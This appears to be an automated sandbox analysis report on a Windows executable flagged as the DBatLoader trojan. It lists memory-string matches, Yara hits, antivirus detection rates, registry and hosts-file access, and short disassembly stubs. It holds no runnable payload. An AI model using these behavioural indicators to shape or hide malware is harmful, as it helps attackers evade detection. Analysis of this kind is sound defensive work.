Source: vOj00hEkoQ.exe, 00000000.00000003.383117461.00000000046C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.369403601.0000000005426000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.382049440.00000000046DA000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.568445098.00000000007F2000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.503752552.0000000000760000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.526354825.000000000593C000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.381732016.00000000047C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.487547510.0000000005746000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.418871850.0000000005946000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.411084370.0000000004EA0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.506234065.0000000000750000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.412411442.0000000005865000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.469073503.0000000005457000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.454328987.0000000005568000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.362672026.0000000005447000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.460466899.000000000537D000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.507732936.0000000005A02000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.526493361.0000000005856000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.485866212.0000000000860000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.456730184.0000000005481000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.529473239.000000000583C000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.403902819.000000000498C000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.392162065.00000000048F1000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.427125573.0000000005852000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.512197295.000000000082E000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.484562401.0000000005364000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.402869739.0000000004895000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.478715673.000000000538A000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.413996918.0000000005876000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.513432828.000000000594D000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.415639097.0000000005740000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.371330488.0000000005450000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.524437798.0000000005856000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.492810668.0000000005746000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.423486222.0000000005299000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.369820978.0000000005436000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.531799060.000000000593C000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.448162227.00000000045A0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.402860308.000000000487C000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.408064437.00000000048C8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.425077630.00000000045A0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.456689841.0000000005470000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.530874234.00000000007A0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.402880603.00000000048A6000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.457329038.0000000005562000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.482954669.00000000045B9000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.530003732.0000000000790000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.499508522.0000000005830000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.533685011.00000000007A0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.378742570.0000000004796000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.416797440.000000000537E000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.497321326.0000000005828000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.460074000.0000000004686000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.501286177.000000000082D000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.419938415.0000000005965000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.381233715.00000000048A6000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.483797553.00000000045A8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.373361346.0000000005270000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.485391740.000000000583A000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.363710236.000000000538E000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.398912423.0000000004686000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.421890595.00000000058A9000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.524242007.0000000005922000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.376414488.0000000004698000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.424700705.0000000004972000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.550960485.0000000005830000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.357357072.00000000028C8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.517313225.0000000000858000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.380651385.00000000046B0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.544279395.00000000007B2000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.470628161.0000000005561000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.413119939.0000000005865000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.471876012.0000000005480000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.413133068.0000000005876000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.468103215.0000000005364000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.443794269.00000000045A0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.513811557.0000000000748000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.502396056.000000000583C000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.518973822.000000000079C000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.487701016.0000000005746000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.567108783.00000000007D8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.418379107.0000000005865000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.375096550.0000000005370000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.461655942.000000000497A000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.379252550.00000000046C9000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.513408746.0000000005934000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.508140768.0000000000760000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.545017986.00000000007DC000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe

Source: vOj00hEkoQ.exe	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: vOj00hEkoQ.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Users\user\Desktop\vOj00hEkoQ.exe

Section loaded: system.dll

Jump to behavior

Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Code function: 0_3_028C9050		0_3_028C9050
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Code function: 0_3_028C971F		0_3_028C971F

Source: vOj00hEkoQ.exe

Static PE information: Resource name: RT_STRING type: COM executable for DOS

Source: vOj00hEkoQ.exe	Virustotal: Detection: 77%
Source: vOj00hEkoQ.exe	Metadefender: Detection: 48%
Source: vOj00hEkoQ.exe	ReversingLabs: Detection: 57%

Source: C:\Users\user\Desktop\vOj00hEkoQ.exe

File read: C:\Users\user\Desktop\vOj00hEkoQ.exe

Jump to behavior

Source: C:\Users\user\Desktop\vOj00hEkoQ.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior

Source: C:\Users\user\Desktop\vOj00hEkoQ.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B091E540-83E3-11CF-A713-0020AFD79762}\InProcServer32

Jump to behavior

Source: classification engine

Classification label: mal84.troj.winEXE@1/0@1/1

Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Data Obfuscation

Yara detected DBatLoader

Source: Yara match	File source: vOj00hEkoQ.exe, type: SAMPLE
Source: Yara match	File source: 0.0.vOj00hEkoQ.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.392588116.0000000004686000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.446198402.0000000005459000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.373361346.0000000005270000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.490854963.0000000005867000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.467333094.0000000005480000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.458083719.0000000005496000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.375096550.0000000005370000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.456022736.000000000534F000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.384404649.00000000047FB000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.421890595.00000000058A9000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.470742737.000000000538A000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.526945257.0000000005867000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.401374110.0000000004684000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.405069389.0000000004768000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.413452133.0000000005724000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.449064329.000000000537C000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.452539340.0000000005364000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.425810513.0000000005852000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.481942578.000000000543B000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.508537851.0000000005935000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.372707185.0000000005470000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.356239685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.464356911.00000000054A6000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.451399152.0000000004983000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.381326351.00000000046DA000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.399740861.0000000004781000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.479431451.000000000535E000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.474528340.00000000054A6000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Code function: 0_3_028CBC13 push 004A38A0h; ret	0_3_028CBC43
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Code function: 0_3_028C9833 push 004A14B3h; ret	0_3_028C9856
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Code function: 0_3_028CBC57 push 004A38D2h; ret	0_3_028CBC75
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Code function: 0_3_028CBB9B push 004A3816h; ret	0_3_028CBBB9
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Code function: 0_3_028CBBC7 push 004A385Eh; ret	0_3_028CBC01
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Code function: 0_3_028C8D03 push 004A0C11h; ret	0_3_028C8FB4
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Code function: 0_3_028CBD7F push 380043CAh; retf 0043h	0_3_028CBD84
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Code function: 0_3_02957297 push ebx; ret	0_3_029572AD
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Code function: 0_3_0294D28C push cs; retf	0_3_0294D28D
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Code function: 0_3_0294F2B9 push cs; retf	0_3_0294F2BA
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Code function: 0_3_029572AE push edi; retf	0_3_029572C0
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Code function: 0_3_0294E2D7 pushad ; ret	0_3_0294E28F
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Code function: 0_3_029572DD push es; retf	0_3_029572E2
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Code function: 0_3_029492DD push esp; ret	0_3_029492E7
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Code function: 0_3_0294F2C8 push eax; retf	0_3_0294F31C
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Code function: 0_3_029562FB pushad ; retf	0_3_0295636F
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Code function: 0_3_029532E6 push cs; retf	0_3_029532E7
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Code function: 0_3_029582EA pushad ; retf	0_3_029582FC
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Code function: 0_3_02956228 pushad ; retf	0_3_0295624E
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Code function: 0_3_0295125E push 446484C9h; retf	0_3_02951263
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Code function: 0_3_02952259 pushad ; ret	0_3_02952260
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Code function: 0_3_0294E26C pushad ; ret	0_3_0294E28F
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Code function: 0_3_02956393 pushad ; retf	0_3_0295636F
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Code function: 0_3_02956393 pushad ; retf	0_3_02956400
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Code function: 0_3_0294A3B4 push ss; retf	0_3_0294A3BA
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Code function: 0_3_029493C7 push ss; retf	0_3_029493E4
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Code function: 0_3_029533C6 pushad ; retf	0_3_029533D7
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Code function: 0_3_02957310 push es; retf	0_3_02957311
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Code function: 0_3_0294933F push eax; retf	0_3_02949340
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Code function: 0_3_0294D339 push es; retf	0_3_0294D33A
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Code function: 0_3_02956350 pushad ; retf	0_3_0295636F

Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
